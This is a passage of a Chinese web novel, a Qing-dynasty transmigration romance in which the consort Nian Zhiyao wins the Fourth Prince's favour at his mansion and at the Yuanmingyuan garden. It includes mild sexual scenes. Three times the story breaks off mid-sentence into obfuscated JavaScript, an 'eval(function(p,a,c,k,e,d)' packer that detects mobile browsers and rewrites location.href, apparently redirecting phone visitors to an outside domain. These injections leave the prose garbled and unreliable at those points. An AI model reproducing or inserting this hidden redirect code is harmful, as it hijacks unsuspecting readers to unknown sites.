年芷瑶把酸奶上撒上厚厚的白糖,递到四爷面前,“爷,您尝尝这个。”行为颇为自然,不知为何,她觉得四爷不会轻易对她发火。 四爷看着白白嫩嫩的酸奶,心中的火气下去了一点。 白糖在他嘴里咬的嘎吱嘎吱响,甜味慢慢传来,冰冰凉凉的,吃起来倒是舒爽,四爷的脸色好看了一点。 年芷瑶也不问出了什么事,而是说起早上李大夫刚进门的脸色难看得紧,只怕是莫名来替她把脉让他吓得不轻,还以为她这个侧福晋得了什么疑难杂症呢。 四爷也笑了,“这个李维胆子是小,但医术还行。” 胆子小就不会敢做别的,医术又好,所以四爷才敢放心地将他养在府里。 看着四爷心情好了一些,苏培盛赶忙过来道:“爷,可要传膳。” 他的主子爷啊,一天进了两个院子,结果到现在还没吃上饭。 年芷瑶惊讶,这个点了还没用午膳吗。 四爷看她:“你若是用了,去屋里歇着便是,不用伺候爷。”吃过再闻到饭味,只怕会犯恶心。 年芷瑶不好意思地笑:“我还没用呢。” 四爷明白地笑了起来:“小懒鬼。” 年芷瑶不满地看了他一眼,若不是她早上去睡了回笼觉,你现在就只能一个人吃饭了好不好,还笑她呢。 苏培盛看着侧福晋几句话就把爷给哄好了,不由叹为观止,怪不得爷会往东院来呢。 用过午膳,她看了看四爷的神色,推了推他,“爷累了吧,去屋里歇会吧。” 四爷点了点头:“你也陪爷躺会。” 两人躺在床上,四爷握住她的手,“瑶儿,给爷生个孩子吧,生一个属于我们的孩子。” 年芷瑶愣了愣,孩子? 8. 第 8 章 孩子,年芷瑶愣了愣。 她沉默的时间有些长,四爷向她看了过来。 感受到他疑惑的眼神,年芷瑶扬起笑容,“那爷是喜欢阿哥还是喜欢格格。” “只要是瑶儿生的,爷都喜欢。”想到他们的孩子,四爷的眼神柔软下来。 年芷瑶把头埋在他的肩膀:“我更喜欢格格。” “生个格格也好,像你,日后定会是个美人。”四爷抚着她的发,他的孩子少,活下来的格格只有一个,若是能有个像瑶儿的小格格,冰雪聪明,也是极好的。 年芷瑶看他:“爷的女儿,不需要貌美,也能过得好不是吗。” 四爷笑得傲然:“自然,爷定会保她一世无虞。” 年芷瑶满意地抱住了他。 晨起,四爷先去了前院。 年芷瑶睁开眼后,晃了晃神,四爷一向起得比她早,知道她爱睡懒觉,便从来不让人吵她,现下看来已是十足的贴心。 见她醒了,白芍扶着她起身。 采芙为她梳妆,她手巧,梳好的发髻颇为灵动好看,年芷瑶满意地点了点头。 采蕖捧着一篮子鲜花过来,“主子,可要簪花。” “就这朵吧。”年芷瑶选了一朵粉色透白的芍药。 白芷进来便夸:“主子的眼光就是好。” 年芷瑶斜看了她一眼,“可打听到了。” 昨夜四爷怒气冲冲地进来,她不好直接开口询问发生了什么,但也不能在府里做聋子瞎子,白芷知道她的心思,一早便去打听了。 白芷轻轻点头。 原来昨夜四爷是在西院发了火,虽不知究竟发生了什么,但训斥李氏的声音都被听了去,四爷说她教导阿哥无方,让三阿哥以后再回府都不必来后院请安了,还罚了李氏三个月的禁闭。 年芷瑶有些惊讶,四爷发火是为了三阿哥,他怎么又惹了事? 怪不得一向冷静的四爷都在她面前催生了起来,想必是真的对三阿哥失望了吧。 如今府里的阿哥只有三个,三阿哥看着不成大气,四阿哥五阿哥还年幼,难怪四爷都着急起来了。 中午四爷没过来,是她一个人用的膳,膳房的大厨特意孝敬了一道八宝肘子,软嫩弹牙,香而不腥,味道特别好,年芷瑶一个人也用得很香。 早上起得晚,中午就不困,她便看起了话本子。 白芷进到屋子里,就看见自家主子正躺在贵妃榻上,旁边是四样点心,四样酥糖,还有奶茶和酸梅饮子。 她有些无奈,主子自打进了府,有王爷宠着护着,是彻底没了人管着了,倒显得更加自在了。 她们之前担心的事仿佛都是白费心力,不过主子过得好也是件好事。 她轻声道:“主子。” 年芷瑶抬头:“嗯?” “这是主子爷让人新送来的话本子和新奇玩意,说是怕您无聊,特意从外面采买的” 年芷瑶眼睛微亮,“拿过来给我瞧瞧。” 旁的不说,在家时这些杂书她都是背着额娘看的,无他,市面上流行的话本子,多半是才子佳人的故事,不是秀才高中状元后迎娶大家小姐,就是侠客执剑快意恩仇,江湖上不少都是他红颜知己的。 额娘怕她年纪小,看了之后再移了心性,从来不许她多看,她只能让二哥偷偷给她带过来。 虽然无奈,但她也不能和额娘说,您别担心,在现代时再露骨的书她也见过,从不会为里面描绘的爱情所蒙蔽,毕竟人教人教不会,事教人一教就会。 她亲生父母那般的婚姻,实在让她不敢对爱情抱有期待,也不敢步入婚姻。 即便是再想要一个与她血脉相连的孩子,她想的也是带球跑,或者去国外的医院生一个只属于自己的孩子。 只是如今她进了雍王府,生孩子更加名正言顺一些,孩子的诱惑对她又大了起来,她轻轻抚了抚肚子,她和四爷的孩子,定会有疼爱她的额娘阿玛吧。 即使将来四爷对她的宠爱日渐淡薄,也定会是个好阿玛的,就打府里的二格格来说,适龄的宗室女儿大多被嫁去抚了蒙,为了让这个女儿留在京中,四爷暗地里不知费了多少心力。 年芷瑶垂眸,重新捡起看到一半的书,对白芷嘱咐道:“小厨房炖的羹汤,记得给四爷送去一碗。” 不过,即便是为了她的孩子,她也不能轻易放弃四爷的宠爱,得让四爷永远记得她的好才是,唯有真心才值得真心相待。 “是。”白芷缓步退了下去。 转眼就到了端午节。 府里一早就将绣着五毒图案的香囊和粽子送了过来,白芷把香囊和彩绳挂在了床上,又在屋门挂上了艾叶。 年芷瑶看着她忙个不停,连忙叫停:“你快别转了,转得我头晕。” 白芷抱怨:“主子。” 年芷瑶笑道:“挂两个意思意思便是,何必这么辛苦。” 白芷:“这不是图个好寓意嘛,这样主子未来一年就不会生病了。” 松嬷嬷点头道:“是呢,主子幼时便体弱,虽说如今养好了,可也不能掉以轻心,白芷,别听主子的。” 白芷笑道:“是,嬷嬷。” 年芷瑶无奈,只能把玩着采芙编好的五彩绳,“编得不错,给我戴上吧。” 采芙道:“是。” 采蕖捧着一件银红色绣百合的旗装走了过来:“主子,今日过节,可要穿这件。” 年芷瑶可有可无地点头,“好。” 银红色的旗装美丽却实在引人注目,但进府月余,四爷天天歇在她这,左右已经够显眼了,再亮些也没什么吧。 采芙为她戴了一顶珍珠赤金头冠,更映衬出她的光彩照人。 白芍叹道:“主子真好看。” 年芷瑶看了看镜中的美丽的人影,也十分满意,这样一副好样貌,不好好打扮也是可惜了。 换好衣裳首饰,年芷瑶便带着白芷来了正院,刚一进门,她便感受到李氏的眼刀随影而至,上下打量着她。 年芷瑶微微挑了挑眉,李氏不是被四爷禁足了吗,怎么还出来了。 白芷在她身后低语:“听说是福晋向爷进言,说端午乃是阖家团圆之际,让李侧福晋出来吃顿团圆饭。” 年芷瑶望向李氏,也不知得了福晋的求情才出来,她是开心还是不开心,不过许是禁足真的有用,李氏虽说眼神凌厉,但到底一句话也没有说。 另外,她还见到了三阿哥,如今三阿哥不过九岁,看着还是个少年模样,只是人虽不大,但眼中却充满了对她的敌意。 年芷瑶懂了,定是李氏没少和三阿哥说她的坏话。 倒是跟在钮祜禄氏和耿氏身边的四阿哥和五阿哥如今才将将两岁,正是可爱的年纪。 向她行礼时,嗓音也是软软乎乎的,她笑了笑,掏出准备好的香囊递给二人。 钮祜禄氏二人连忙起身推辞。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15041188|162535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >年芷瑶:“不值什么,不过是用来赏玩的玉佩,两位妹妹不必客气。” 看到自家额娘点头,两位阿哥这才把东西收下。 只是比起一旁直愣愣的五阿哥,四阿哥倒是显得更加机灵,他躬身道:“多谢年额娘。” 年芷瑶冲他笑笑,怪不得后世四阿哥能做皇帝呢,雍正拢共就三个阿哥长到成年,矮个子里拔高个,也得选四阿哥啊。 四爷来得最晚,他一出场,周遭都静了下来,众人起身行礼。 四爷点了点头,而后坐在了上首,“开宴吧。” 福晋点头:“是。” 她挥了挥手,一溜烟地小丫鬟并着小太监就过来上菜了,同时进来的还有跳舞的舞姬。 年芷瑶坐在四爷的稍下的位置,只是距离再近她也是侧福晋,只能坐在他和福晋的一侧,她也不看二人,只低头吃菜。 四爷看她倒是看得清楚,他的神情微微一顿,这身衣裳倒是衬她。 看到四爷的眼神,福晋垂下了眸子。 年芷瑶倒是恍若未觉,只一味夹着眼前的菜,说实话这席面上的菜并不难吃。 她阿玛每年都会参加宫里的新年宴会,回府后便会抱怨宫里席面上的菜都是冷的,大宴的菜都是提前做好,冬天时,菜端到他们面前都已经凝固了,上面还飘着一层猪油花,让人一点胃口都没有。 每次阿玛回到家还要吃上一顿夜宵才能饱。 也许雍亲王府本来主子就少,是以菜色都算新鲜,尤其刚上的一道清炒莲藕,火候正好,年芷瑶配着它喝了口冬日新酿的梅花酒,酒香清冽。 她决定明天的早膳加上这道菜,配粥一定很好吃。 能看出来今日的晚宴是福晋用心准备的,每隔两道菜就有一道歌舞,听曲配酒,倒是别有一番风味。 白芷在她身后劝道:“主子,您别喝了,爷都看你了。” “啊,是嘛。”年芷瑶抬头望去,只见四爷正目不转睛地盯着她,她看了一眼,便心虚地将酒杯放下,不喝就不喝喽,瞪她干嘛。 福晋看向李氏:“爷,今日是端午,三阿哥又从宫里回来,不如免了李妹妹的禁足可好。” 众人的目光随之向李氏看去。 听到福晋给她求情,李氏的脸色越发难看起来,她想到这些年与福晋作对,从来都是她占上风,可自从弘辉阿哥没了之后,她的恩宠就一年不如一年,如今更是寥寥无几。 可即便如此,爷也没有如此下过她的面子,这是第一次认清了她已经无宠的现实。 四爷沉默半晌,看了一眼三阿哥,最终还是点了点头。 年芷瑶冷眼看着,原来福晋等了这么久等的就是今天啊,她借用四爷告诉李氏她已无宠,让她都好生安分着。 可李氏未必会认命,她身边到底还有三阿哥呢。 不过只要她们不算计到她身上,她都可以视而不见,毕竟她也不是很喜欢李氏,谁会喜欢每次都对自己冷嘲热讽的人呢。 宴会散去,年芷瑶扶着白芷的手想走,今日过节,四爷应该会去福晋的院子吧。 谁知四爷对她伸出了手,“陪爷回去吧。” 福晋带着人在身后行礼:“臣妾等恭送四爷。” 年芷瑶看他一眼,这人是真的不会委屈自己啊,喜欢和不喜欢都让人看得明明白白,也不知是不是好事。 四爷牵着她的手往东院走去。 白芷带着人跟在她身后。 9. 第 9 章 白芷掀开帘子进来:“主子,爷说今儿个不过来了,让您自个儿用膳。” 年芷瑶点了点头:“知道了。” 她之前还在心里吐槽过四爷整日待着她的院子里,是不是太过清闲了。 然后四爷就忽地忙了起来,已经月余没怎么来过后院了,这一个月,只来她院子里过了两夜,又抽空去看了一眼四阿哥和五阿哥,其余人连他的面都没见到。 显然是有要事在忙,在现代时,她对四爷了解只有他登基做了皇帝,就连他有个姓年的侧福晋的事都是从清穿小说里看到的。 即使穿越过来,她对他为了皇位具体做了什么,暗地里有多少人也是一概不知。 只是知道她们年家早就跟随了四爷,平日除了规劝哥哥收敛脾气外,也不敢妄动其他,若是蝴蝶效应了,她哭都没地哭去。 翻过六月,四爷才闲了下来,履行了带她来圆明园玩的承诺。 能出去玩,她连懒觉都不睡了,天一明,便从床上爬了起来。 四爷看着她笑了笑:“怎么不多睡会儿。” 年芷瑶看他一眼,睡觉什么时候不能睡,但那可是圆明园诶,还不赶紧的。 但话不能这么说,她扯了扯他的衣袖:“爷,我已经许久都没出门了,有些激动也是难免的嘛。” 四爷笑意更深,唤道:“苏培盛。” 门外的苏培盛立即应声:“奴才在。” 四爷:“去备车。” “是。” 年芷瑶对他笑得越发甜蜜:“爷最好了。” 洗漱穿戴好,她先去正院辞别福晋,两人寒暄两句后,年芷瑶忙带着人直奔王府大门。 今儿个是王爷与侧福晋一同出门,自然是开的大门。 年芷瑶扶着白芷的手上了马车,发现四爷已经在里面了。 她疑惑:“爷不骑马吗。” 四爷亲自给她倒了茶:“爷先歇歇,到园子里再教你骑。” 年芷瑶低头浅笑,之前四爷答应过她,要教她骑马,没想到他还记得。 “好。” 马车走了快一个时辰,终于到了园子。 从圆明园大宫门进去,走了几步便是正殿,应该是四爷办公的地方,绕过这里就是前湖,园子里多山水,江南园林和北方园林相融合,景色秀美宜人。 虽说圆明园现如今还只是皇上赏给四爷的一个小园子,远远不是日后被四爷登基后修建成了天下第一园的样子,但到底也是皇家园林,年芷瑶觉得已是极美。 只是确实累了些,她实在有些逛不动了。 光是绕着前湖和后湖转了一圈就花了一个时辰,四爷还要带她去下一地方,她连忙制止,“爷,容我先歇歇。” 四爷笑她:“怎么这么快就累了。” 年芷瑶反驳道:“爷,这园子就是要慢慢逛才好,一下子都逛完还有什么乐趣嘛” 四爷附在她耳边低声道:“好,爷知道瑶儿体力不好,今天先逛到这。” 他说得意有所指,年芷瑶脸色微红,不满地捶了捶他。 四爷牵过她的手,笑道:“爷带你去歇着。” 年芷瑶看他:“爷,我住在哪个院子呀。” 四爷:“你想住哪里。” “杏花春馆。”她刚才看了看,那个院子的景色最好,又挨着后湖,如今天热,在那住一定会很凉快。 四爷对此没什么意见,“好。” 晚膳便是在杏花春馆用的,院子叫杏花春,可院子里却住满了桃树,年芷瑶摸了摸桃树:“爷,这里为何不叫桃花春馆呀。” 四爷笑道:“爷也不知,皇上赏下来的时候便是这个名字。” 年芷瑶明白了,皇上赏的,便不能随意改名字,只是现在改不了,日后可就不一定了。 她冲四爷笑了笑,“爷,我饿了。” 今日起得早,又逛了这大一圈,自然饿得快。 四爷开口道:“传膳吧。” 苏培盛:“是。” 主子们好不容易来一趟园子,园子里膳房自然是使出浑身解数,做了一个桌子的菜,比在府里吃得还热闹。 四爷夹了一筷子剁椒鱼头尝了尝,这是年芷瑶单独要的,她刚才逛园子时就看到了湖里的鱼甚是肥美,特意让厨房做了这道菜,果然鲜辣可口。 但四爷不能吃太辣的,年芷瑶制止道:“爷,这个辣。” 但话说晚了,鱼肉一下肚,四爷的脸就红了起来。 年芷瑶笑了起来,“爷,快喝口茶缓缓。” 四爷看了她一眼。 晚间,她的报应就来了,她抱着四爷的脖子,红着脸哼哼唧唧,“爷,不要了。” 四爷轻哼一声:“不行。” 年芷瑶欲哭无泪,不就是笑话了他一下,要不要报复心这么强啊。 她愤怒地咬向了四爷的肩膀,都说不要了啦,烦人。 四爷看着清晰的牙印笑了笑,更加卖力起来:“这不是还有力气吗。” 年芷瑶捶了他一下,男人真讨厌。 苏培盛站在屋外,看了看天色,不由叹道来了园子就是不一样,连主子爷都这么有兴致啊,不过就算是他,他也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15041189|162535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更喜欢园子,别的不说,园子里有山有水,比府里不知凉快了多少。 白芷看他脸上带着倦色,问道:“苏爷爷,您这不先去耳房歇歇,这里有我们呢。” 苏培盛点了点头,四爷宿在后院,伺候的人便多了,他也能松快些。 小太监点头哈腰地伺候着苏培盛往外走,“苏公公这边请。”他拿来特意打来的热水问道:“苏爷爷,可要泡脚。” 苏培盛点了点头。 被小太监伺候好了,他才开口:“你叫什么。” 小太监笑得谄媚:“奴才小林子,之前是在园子里伺候的。” 万岁爷把园子赏下来的时候,园子里伺候的人都没有带走,四爷不像三爷,是个爱逛园子的主,是以一年也来不了几回,故而听到四爷这次要带侧福晋来园子,里面的奴才们都是铆足了劲想往侧福晋的园子里钻。 他能分到侧福晋这,那也是把全部身家都拿出来孝敬上面的缘故。 苏培盛看了看他:“你倒是运气不错,好好伺候着,日后说不得有大前程呢。” 小林子大喜过望,磕头道:“多谢苏爷爷。” 第二日,年芷瑶一睁眼,已是日上三竿。 她看向白芷,问道“爷呢。” 不开口不要紧,一说话连她都吓了一跳,她的嗓子怎么哑成这样了。 白芷扶她下床,看到她身上的痕迹,不免羞红了脸,“爷一早便走了。” 看到白芷这样,年芷瑶也有些不好意思,心中不免埋怨道,这人也太不知节制了。 白芷定了定神:“主子可要用膳,膳房送来了鸡丝粥,还在炉子上煨着呢。” 年芷瑶点了点头,她确实有些饿了,“再让他们下碗小馄饨给我。” 白芷点头:“是。” 下午四爷过来时,年芷瑶就忍不住瞪了他一眼。 四爷大步走了进来,“怎么,不是要去骑马?” 年芷瑶:“爷还说呢,我现在的腰都是酸的,还怎么骑马。” 四爷有些心虚,他长她许多岁,按理不应该这么冲动,如今得了抱怨,倒像是欺负人家小姑娘了。 他低声哄她:“是爷不好,下次爷不这样了。” 年芷瑶不说话了,说实在的,虽说第二日累了些,但偶尔放肆一回也挺好的。 四爷看她神色,有些明白,笑道:“那下次还来好不好。” “爷真烦人。”年芷瑶埋头进了他的怀里。 四爷大笑起来,“是爷烦人。”他往上抱了抱她,也不知道自己怎么得了这么一个娇宝贝。 10. 第 10 章 昨日没教成骑马,今日用过早膳,四爷便带她去了马场。 年芷瑶看着威风凛凛的高大马匹,双眼冒光,伸手指了个最好看的:“我要骑那个。” 四爷勾起唇角。 年芷瑶疑惑地看他,这是什么意思。 一旁的苏培盛冲养马太监招了招手,那边会意地牵着几匹小马过来。 养马太监低头道:“年主子,您是新手,那些大马还骑不得。”言外之意是这些小马才是给您准备的。 年芷瑶看着眼前一溜还没她高的各色小马,抽了抽嘴角。 四爷冲她解释道:“你是初学,只能骑这个。” 年芷瑶哀怨地看他,那您直接带我去挑小马不就是了,还带我这干嘛,看我热闹吗。 四爷揉了揉她的手,算是安慰。 最终,年芷瑶还是在小马堆里挑了一个合眼缘的,是一匹通身都是黑色的小马,大眼睛一眨一眨的,很是可爱。 四爷带她去摸了摸,“这马温顺,你骑着正好。” 有小马在身边,年芷瑶也不在意那些可看不可骑的大马了,有些兴奋地点了点头,她也有马的人了诶,不管是大是小,总归是个马。 她在现代时也想去学骑马来着,可那时骑马的课时费对她还是有些贵,她当时为了攒买房子的钱,过得十分抠搜。 穿越后虽然有这个条件了,却因身体不好,额娘不敢让她去学骑马,二哥也不敢拿她的身体开玩笑,毕竟幼时妹妹躺在床上,所有大夫都束手无策的日子他也是历历在目,只敢背着额娘给她带些话本子过来,让她解闷。 四爷拿了一捧黄豆让她喂马:“先和它熟悉熟悉,马儿都有灵气,你对它好,它也会好好载你的。”瑶儿的眼光不错,这匹马虽小,但也是匹好马。 年芷瑶冲马儿招招手,小马先是看了她一眼,然后迈着矫捷的步伐走了过来。 看小马在她手心吃得正欢,年芷瑶趁机摸了摸它的脑袋,嗯,毛发有些硬,但还是很可爱。 四爷笑看她们的互动,“给它取个名字吧。” 年芷瑶想了想,“就叫它黑云吧。” 四爷点头表示同意。 年芷瑶抬眸看他,迫不及待地道:“爷,我现在能骑了吗。” 四爷失笑,亲自教了她上马的动作,然后让养马太监牵着马先带她先围着马场绕上一圈。 等她回来,四爷走上前去,拍了拍她握着缰绳的手道:“松一些,不要这么用力。” 年芷瑶点了点头。 “用腿轻轻压一下马腹,它就会跑得快些。” 年芷瑶照做,没过多久黑云就能听着她的指令,带她小跑了。 等在原地的苏培盛叹道,主子爷可真是有闲情逸致,这般细心地教人骑马,这么多年也就只有当初刚满五岁的二格格有这个待遇了。 年芷瑶骑着马背上冲着四爷挥手,四爷冲她笑了笑,然后翻身上了一匹火红的马背飞快地从她身边跑了过去,被迫吃了一脸土的年芷瑶一脸无语,这人幼不幼稚啊。 等四爷绕着马场跑了一圈后,一个顺手就把她带上了马背,年芷瑶“啊”了一声,再睁眼,就已经在马背上了。 四爷哈哈大笑,年芷瑶伸手捶了他一下,这人就喜欢看她笑话。 但马上奔跑的感觉却意外的不错,她眯起眼睛,感受着风的气味,疾驰的风打在她的脸上,让她梳整的发丝有些凌乱。 她回头看向四爷,“爷,我好开心啊。” 四爷笑着拍了拍她手。 第一日的骑马时间并没有太久,四爷说她是第一次骑,不宜骑太久,不然定会腰酸背痛。 四爷还十分贴心的让会按摩的丫鬟替她推拿片刻。 “这样明天就不会难受了。”他说。 年芷瑶暗戳戳的想,四爷这么有经验,之前定是没少肌肉酸痛吧。 总而言之,在园子里的日子颇为快乐,每日睡到自然醒,外界的纷纷扰扰都与她无关,仿佛世外桃源一般。 清晨,她埋首在四爷的怀中深呼吸,四爷不喜熏香,衣服上也只有皂角的清香,但她总觉得他身上的气息特别好闻。 “园子里真好。”年芷瑶叹道。 四爷把玩着她的头发:“不想回去?” “嗯。”年芷瑶沉吟片刻,“总觉得在府里总觉得时间过得很快,许是人太多了吧。” 她抱着四爷道:“我更喜欢和爷两个人的日子。” 见她说得直白,四爷也乐得不行,点了点她的鼻尖:“你呀。” “那就再待几天。”他道。 年芷瑶笑了起来:“爷,你真好。”她抬头看向他:“爷对我这么好,不怕把我宠坏吗。” 四爷温柔地抚了抚她的发,“那瑶儿可真是好哄。” 年芷瑶不满道:“爷。” 两人在床上玩闹了会,四爷便起身去了九州清晏处理事情,即使出了府,四爷也颇为忙碌,并不像她这般无所事事。 白芷进来:“主子,午膳要用什么。” 年芷瑶想了想,“要他们做份油焖大虾,其余地让他们看着上便是。” 这几日吃的虾大多是清烹的,今天她想吃个口味重些的,她在家中时就让厨子做过这道菜,很是不错。 如今在园子吃鱼虾更是便利,园子里有湖,鱼虾都是新鲜的,随吃随取便是。 跟着过来伺候膳食的张师傅,最会做鱼虾,这几日都是他在伺候,惹得不少人眼红,谁不知道如今这年侧福晋最是得宠,得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15041190|162535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了侧福晋的喜欢,日后的好日子指日可待啊。 九州清晏。 四爷坐在上首,问道:“老八这些天在做什么。” 对面坐着的是一个留着胡须的中年男人,他姓戴名铎,早年间便投靠在四爷门下成了谋士,但因四爷以不争示人,他一直颇为低调,前些年也多在江南等地为四爷谋划。 “自从爷来了园子后,八爷便在京中四处走动,时常折下而交。”他叹道:“当日众人保举八阿哥为太子,已得万岁训斥不喜,可八阿哥却像不受影响一般,奴才也是佩服。” 四爷端茶沉思,“爷这个八弟,一向不是个简单人。”即便不喜老八,他也不免佩服老八于人心上的把控。 戴铎看了一眼四爷的脸色,开口道:“是呢,只是如今八阿哥蹦的再高,还是要看皇上的心意。” 四爷点头:“辛苦了。” 皇阿玛年迈,大位就在他们头顶挂着,抬头便能看见,谁都恨不得上去啃上两口,更何况他的这些兄弟。 戴铎低头:“能为主子分忧,是奴才的荣幸。” 他起身告退,苏培盛客气送他出去:“戴先生,这边请。” 戴铎与苏培盛寒暄道:“主子这次在园子里待的时间倒是长。” 苏培盛低头浅笑。 戴铎见苏培盛不语,也不多问,他知道这太监心思虽多,但伺候四爷,头一个就是要忠心,若是把主子的话随处往外说,那这人也做不到这个位置。 只是他往园子后面望了望,听闻四爷这次进园子还带着一位侧福晋,想必是为了这个吧。 虽说他没见过这位侧福晋,但对她的哥哥倒是有所听闻,若是四爷真能把年羹尧收为己用,于他们又是一大助力啊。 杏花春馆,白芷端了碗?酥山进来:“主子,这是膳房新送来的,您尝尝看。” 年芷瑶感兴趣地坐了起来,这是?酥山可以说是古代的冰激凌,先将奶油和黄油冻起来,等吃的时候再将之融化,做成了山峦形状,故叫?酥山。 上面还依照她的口味撒上了一些坚果,她尝了一口,口感细腻丰厚,十分好吃,她开心地眯起眼睛,夏天果然就是要吃冰啊。? 园子里也存了不少冰,再加上这里的主子只有她和四爷两个,自然能紧着她使劲用。 年芷瑶:“四爷的那可去送了。” 白芷道:“已经送去了。” 主子这儿的东西都是一贯都是做两份的,一份自己吃,一份送去给四爷。 故而这里的厨子越发殷勤起来,讨好了主子就是讨好了主子爷,谁不想走这个捷径呢。 年芷瑶点了点头,在想要不要把黑糖珍珠做出来呢,她记得珍珠用木薯粉就能做,浇在?酥山上,也是个好搭配。 11. 第 11 章 雍亲王府。 一大清早,外院的洒扫太监就开始准备起来,擦门的,扫地的忙个不停。 管事太监嘱咐道:“今日是王爷同侧福晋回府的日子,可都仔细着点,若是出了什么差错,别说主子饶不了你们,我爷扒了你们的皮。” 小太监十分殷勤地弯腰笑道:“奴才们都知道,公公放心。” 见那公公走了,小太监才撂下了脸,冲着墙角呸了一声,大家都是奴才,谁比谁高贵不成,还真当自己是主子了,什么玩意。 又等了片刻,前门的侍卫快步走了过来,“快,抓紧,主子回来了。” 马车声由远及近,四爷骑着马过来。 外院侍卫跪倒了一片:“给主子爷请安,给侧福晋请安。” 四爷点了点头,起身下马,对着马车外的帘子道:“你先回院子里,爷去前院。” 年芷瑶笑道:“爷去忙吧,我得先去给福晋请安。” 四爷和她在园子里差不多待了一个月,如今回府自然要先给福晋请安才是。 四爷点头:“爷午膳去你那用。” 年芷瑶笑了起来:“好。” 两人在门前分开,到了内院,年芷瑶便下了轿子,扶着白芨的手去了正院。 赵嬷嬷已得了消息在院子里等着,一见她来,便笑着迎过来:“给侧福晋请安,福晋一早便等着您了。” 年芷瑶伸手扶她,“嬷嬷客气了,让福晋久等,真是我的不是。” 赵嬷嬷笑道:“侧福晋哪里的话。” 进了正院的屋子,福晋已经端坐在上首,看她进来,便道:“回来了,玩得可好。” 她行了个福礼:“承蒙福晋关爱,一切都好。” 福晋:“那就好,此行去园子就你一人伺候爷,也是辛苦。” 年芷瑶但笑不语,是了,无论是不是四爷带她出去玩,到了福晋口中,都是她跟着去服侍四爷的。 她也不与福晋争这份口舌,左右是她得了便宜,福晋爱怎么说怎么说便是。 与福晋简单寒暄了两句,她便告辞出了正院。 到了和她走时没什么两样的东院,年芷瑶倒是有一种回家的感觉。 白芍带着人迎了出来,这次是她带着人在院子里留守,毕竟又不是不回来了,总不能去个园子就把屋里的人都带走吧。 年芷瑶怕她不满,便拍了拍她的手,安慰她道:“你们轮换着,等下次你跟着我去。” 白芍道:“主子放心,我一个人看家不知有多自在,谁还敢给我气受不成。” 白芨笑道;“你这么泼辣,自然没人敢气你,我看这两个月,你都长胖了些,可见是过得不错。” 白芍伸手便要打她:“主子,你看她,白芨姐姐最会欺负人。” 众人都笑了起来。 松嬷嬷过来禀告说从园子里带回来的东西都规制好了。 年芷瑶点了点头,“嬷嬷辛苦了。” 松嬷嬷笑道:“这算什么。” 白芨也笑着走了进来:“主子,院子里的葡萄都熟了。” 年芷瑶道:“快摘下来给我尝尝。”刚才她进院子的时候就发现了,这葡萄熟得刚刚好。 “哎。”白芨带着人将葡萄一串串地剪了下来。 因主子喜欢院子栽种的葡萄,即便她不在府里,院子里的葡萄也有人照看,掐须,打条,追肥一个不落,现在这葡萄长得又大又好。 白芨挑了一串最红的洗净送了过去。 年芷瑶尝了一个,果然是甜极了。 午膳时,四爷过来,也说这葡萄好。 年芷瑶:“都是爷选的苗好。” 四爷笑了笑,唤了唤苏培盛:“给你十三爷也送一些过去,连同园子里的那些时令东西一同送去。”他想了想道:“十四那里,也送些过去吧。” 听到十四爷,年芷瑶支起了耳朵,后世对于四爷和十四爷的关系一直有诸多猜测,但有一点是众人默认的,那就是兄弟二人感情并不怎么好,不然十四爷也不会在雍正四年被圈了起来。 只是如今的四爷还会给十四爷送些葡萄,年芷瑶猜测也许现在两人的关系还没有那么僵硬。 不过细数四爷上位后的兄弟们,除了万事不管的,例如五阿哥,七阿哥,其余几个排行靠前的阿哥好像就没几个过得好的。 她不免对八爷产生一丝微妙的敬意,九爷十爷就不说了,连四爷同母的兄弟十四爷都向着八爷。 还有日后被四爷过继给八爷的三阿哥,这八爷是得有多大的人格魅力啊,感让他们在四爷登基后还跟四爷对着干,真是让人不得不服。 说起十四,四爷的脸色有些不好,对于这个比他小十岁的弟弟,他一直是轻不得重不得。 当年老六还在的时候,即便他们不在一个宫里,不能交流太多,但在上书房对视一眼,便是心意相通,他是多么开心自己有个同母的兄弟啊。 只是老六没得早,后来十四出生,他也高兴,只是他们年纪相差太大,老十四进上书房的时候,他早已出宫开府的年纪,对这个弟弟更是无从下手。 十四最近还跟老八混在一起,真是愚蠢,老八有脑子,他有吗。 他想起自己的四阿哥和五阿哥,两个孩子虽不同母,但年纪相近,日后说不得能成为关系相近的兄弟,只是两人年级尚小,还不知贤愚。 四爷微微叹了一口气,若是瑶儿为他生下的阿哥,定是个聪明伶俐的孩子, 他看向年芷瑶,发现她还在发呆,四爷无奈,在她眼前挥了挥手。 年芷瑶猛然回神,“嗯?爷,怎么了。” “想什么呢,这么入神。” 她在想您和十四爷是不是关系不睦,但这话却不能告诉四爷,她不好意思冲他笑笑:“在想中午吃什么。” 四爷无奈地点点她,“那你想好了吗。” 